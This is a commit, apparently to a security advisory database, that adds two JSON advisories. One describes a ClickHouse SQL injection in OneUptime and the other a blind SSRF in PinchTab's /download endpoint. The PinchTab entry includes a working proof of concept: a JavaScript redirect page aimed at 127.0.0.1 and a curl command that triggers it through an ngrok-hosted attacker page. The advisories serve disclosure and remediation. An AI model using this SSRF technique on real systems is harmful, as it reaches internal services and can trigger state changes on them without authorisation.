Skip to content

Commit 8011175

Browse files
1 parent c008f35 commit 8011175

2 files changed

Lines changed: 117 additions & 0 deletions

File tree

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gcg3-c5p2-cqgg",
4+
"modified": "2026-03-18T16:34:18Z",
5+
"published": "2026-03-18T16:34:18Z",
6+
"aliases": [
7+
"CVE-2026-33142"
8+
],
9+
"summary": "OneUptime ClickHouse vulnerable to SQL Injection via unvalidated column identifiers in sort, select, and groupBy parameters",
10+
"details": "The fix for GHSA-p5g2-jm85-8g35 (ClickHouse SQL injection via aggregate query parameters) added column name validation to the `_aggregateBy` method but did not apply the same validation to three other query construction paths in `StatementGenerator`. The `toSortStatement`, `toSelectStatement`, and `toGroupByStatement` methods accept user-controlled object keys from API request bodies and interpolate them as ClickHouse `Identifier` parameters without verifying they correspond to actual model columns.\n\nClickHouse Identifier parameters are substituted directly into queries without escaping, so an attacker who can reach any analytics list or aggregate endpoint can inject arbitrary SQL through crafted `sort`, `select`, or `groupBy` keys.\n\n## Details\n\n### Root cause\n\n`StatementGenerator.ts` has four methods that iterate over user-provided object keys to build SQL:\n\n| Method | Validates keys? |\n|--------|----------------|\n| `toWhereStatement` (line 292) | Yes - calls `this.model.getTableColumn(key)` |\n| `toSortStatement` (line 467) | **No** |\n| `toSelectStatement` (line 483) | **No** |\n| `toGroupByStatement` (line 451) | **No** |\n\nIn `Statement.ts`, when a value passed to the `SQL` tagged template is a string, it receives the `Identifier` data type (line 40). Per [ClickHouse documentation](https://clickhouse.com/docs/en/sql-reference/syntax#defining-and-using-query-parameters), Identifier parameters are substituted directly into the query without quoting or escaping. This is correct for trusted column names but unsafe for user input.\n\n### Input flow\n\n`BaseAnalyticsAPI.ts` deserializes `sort`, `select`, and `groupBy` directly from `req.body` (lines 239-253) and passes them to the service layer without column validation:\n\n```typescript\nsort = JSONFunctions.deserialize(req.body[\"sort\"]) as Sort<AnalyticsDataModel>;\nselect = JSONFunctions.deserialize(req.body[\"select\"]) as Select<AnalyticsDataModel>;\ngroupBy = JSONFunctions.deserialize(req.body[\"groupBy\"]) as GroupBy<AnalyticsDataModel>;\n```\n\n### Affected endpoints\n\nAny endpoint backed by `BaseAnalyticsAPI.getList()` or `BaseAnalyticsAPI.getAggregate()` - this includes analytics queries for logs, metrics, spans, and exceptions.\n\n## Impact\n\nAn authenticated user can inject arbitrary ClickHouse SQL through crafted column names in sort, select, or groupBy request parameters. This allows reading, modifying, or deleting analytics data (logs, metrics, traces) stored in ClickHouse. PostgreSQL data is not affected (separate query path).\n\n## Suggested Fix\n\nAdd the same `getTableColumn()` validation already present in `toWhereStatement` to the three unvalidated methods:\n\n```typescript\n// toSortStatement, toSelectStatement, toGroupByStatement\nfor (const key in sort) {\n if (!this.model.getTableColumn(key)) {\n throw new BadDataException(`Unknown column: ${key}`);\n }\n // existing logic\n}\n```\n\nThis matches the pattern used in the GHSA-p5g2 fix for `_aggregateBy` and the existing `toWhereStatement` validation.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "oneuptime"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "10.0.34"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-gcg3-c5p2-cqgg"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/OneUptime/oneuptime"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-89"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-18T16:34:18Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-qwxp-6qf9-wr4m",
4+
"modified": "2026-03-18T16:34:00Z",
5+
"published": "2026-03-18T16:34:00Z",
6+
"aliases": [
7+
"CVE-2026-33081"
8+
],
9+
"summary": "PinchTab has a Blind SSRF via browser-side redirect bypass in /download URL validation",
10+
"details": "### **The /download endpoint validates only the initial URL provided by the user using validateDownloadURL() to prevent requests to internal or private network addresses.**\n\nExploitation requires \\security.allowDownload=true`, which is disabled by default.`\n\nHowever, pages loaded by the embedded Chromium browser can trigger additional browser-side requests (for example, JavaScript redirects, navigations, or resource requests) after the initial validation step.\n\nBecause the validation is only applied to the initial URL and not to subsequent browser-issued request targets, an attacker-controlled page can cause the browser to issue requests to internal network services reachable from the PinchTab host.\n\nThis results in a blind Server-Side Request Forgery (SSRF) condition in which internal-only services may be accessed and state-changing endpoints may be triggered without returning the response body to the attacker.\n\n\n### **Steps to Reproduce:**\n\n**Environment Setup**\nTarget: PinchTab server (tested on v0.8.x, v0.7.x)\nAttacker-controlled server: Publicly accessible (e.g., via ngrok) [attacker.py](https://github.com/user-attachments/files/26013554/att.py)\nInternal service: Runs on the same host as PinchTab and is not externally accessible [internal_service.py](https://github.com/user-attachments/files/26013551/internal.py)\n\n**1. Start a Local Internal Service (Victim Side)**\n\nRun a simple HTTP service bound to localhost: [internal_service.py](https://github.com/user-attachments/files/26013551/internal.py)\n \n python internal_service.py\n \n #Example behavior of internal_service.py:\n #Listens on 127.0.0.1:1337\n #Exposes endpoint /increment\n #Increments a counter and logs requests\n \n #Expected output when accessed:\n #COUNTER INCREMENTED: 1\n #COUNTER INCREMENTED: 2\n\n**2. Host an Attacker-Controlled Page (Attacker side)**\n\nDeploy a malicious HTML page that redirects to the internal service: [attacker.py](https://github.com/user-attachments/files/26013554/att.py)\n\n <html>\n <body>\n <script>\n setTimeout(function(){\n window.location = \"http://127.0.0.1:1337/increment\";\n }, 1500);\n </script>\n </body>\n </html>\nHost this page on a publicly accessible server (e.g., using ngrok): https://fcb8-180-149-93-3.ngrok-free.app\n\n\n**3. Trigger the Vulnerable Endpoint (Attacker side)**\n\nSend a request to the PinchTab /download endpoint:\n\n curl \"http://[server-ip]:9867/download?url=https://fcb8-180-149-93-3.ngrok-free.app\"\n\nIf a server token is configured, the request must include valid authentication.\n\n**4. Observe Server-Side Request to Localhost**\n\nWhen PinchTab processes the request:\n1. It launches a headless Chromium instance\n2. The browser loads the attacker-controlled page\n3. JavaScript executes within the browser\n4. The browser redirects to: http://127.0.0.1:1337/increment\n\n\n**5. Verify the Impact**\n\nCheck the output of internal_service.py:\n <img width=\"718\" height=\"156\" alt=\"proof\" src=\"https://github.com/user-attachments/assets/cf00e3e6-71c6-44ae-83b0-ed819f19ee9a\" />\n\nCOUNTER INCREMENTED: 1\n <img width=\"718\" height=\"282\" alt=\"proof_incremented\" src=\"https://github.com/user-attachments/assets/98281b8e-221b-4e76-a10b-1b2335d08c61\" />\n\n**This confirms that the request originated from the PinchTab host and that an attacker can successfully access localhost-only internal services via the browser, despite the initial URL validation.**\n\n\n### **Impact**\nThis vulnerability allows an attacker to bypass the /download URL validation and cause the embedded Chromium browser to make requests to internal network services. By hosting a page that performs a redirect after the initial validation, an attacker can force the browser to access resources such as 127.0.0.1 or other private network addresses reachable from the PinchTab host.\n\nAlthough the response is not returned to the attacker (blind SSRF), this behavior can still be used to interact with internal services and trigger state-changing endpoints. In environments where sensitive services or cloud metadata endpoints are accessible from the host, this could lead to more serious security impact.\n\n### **Mitigation**\nApply the same URL safety policy to every browser-issued request in the `/download` flow, not only the initial user-supplied URL, and block requests to loopback, private, link-local, and other non-public network ranges inside the Chromium browser context.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/pinchtab/pinchtab"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.8.3"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.8.2"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-qwxp-6qf9-wr4m"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/pinchtab/pinchtab"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-918"
54+
],
55+
"severity": "MODERATE",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-03-18T16:34:00Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)